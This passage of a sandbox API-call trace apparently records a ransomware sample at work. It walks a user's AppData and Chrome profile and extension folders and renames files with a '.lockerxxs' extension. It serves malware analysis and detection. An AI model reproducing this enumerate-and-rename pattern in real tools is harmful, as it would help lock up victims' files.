lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat.lockerxxs")) returned 1 [0078.729] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.730] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.730] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.734] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0078.735] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0078.737] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5035ca, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.738] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.lockerxxs")) returned 1 [0078.743] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x48000b43, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0078.746] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8010, dwReserved1=0x4f800b, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.751] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x5035c8, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.755] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630075, dwReserved1=0x690074, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.758] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20006e, dwReserved1=0x750052, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.762] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20006e, dwReserved1=0x740053, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.764] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x503500, dwReserved1=0x5034fb, cFileName=".", cAlternateFileName="")) returned 0x502758 [0078.766] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x504508, dwReserved1=0x504503, cFileName=".", cAlternateFileName="")) returned 0x502798 [0078.773] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.lockerxxs")) returned 1 [0078.775] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.lockerxxs")) returned 1 [0078.778] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.lockerxxs")) returned 1 [0078.779] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0x18ee78 | out: lpFindFileData=0x18ee78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ece0, dwReserved1=0x506644, cFileName=".", cAlternateFileName="")) returned 0x5027d8 [0078.784] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x506518, dwReserved1=0x506513, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.786] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.788] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.791] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.793] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.796] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.798] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.800] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.806] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.808] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.811] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.814] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.816] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.818] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.821] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.823] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.826] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.828] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 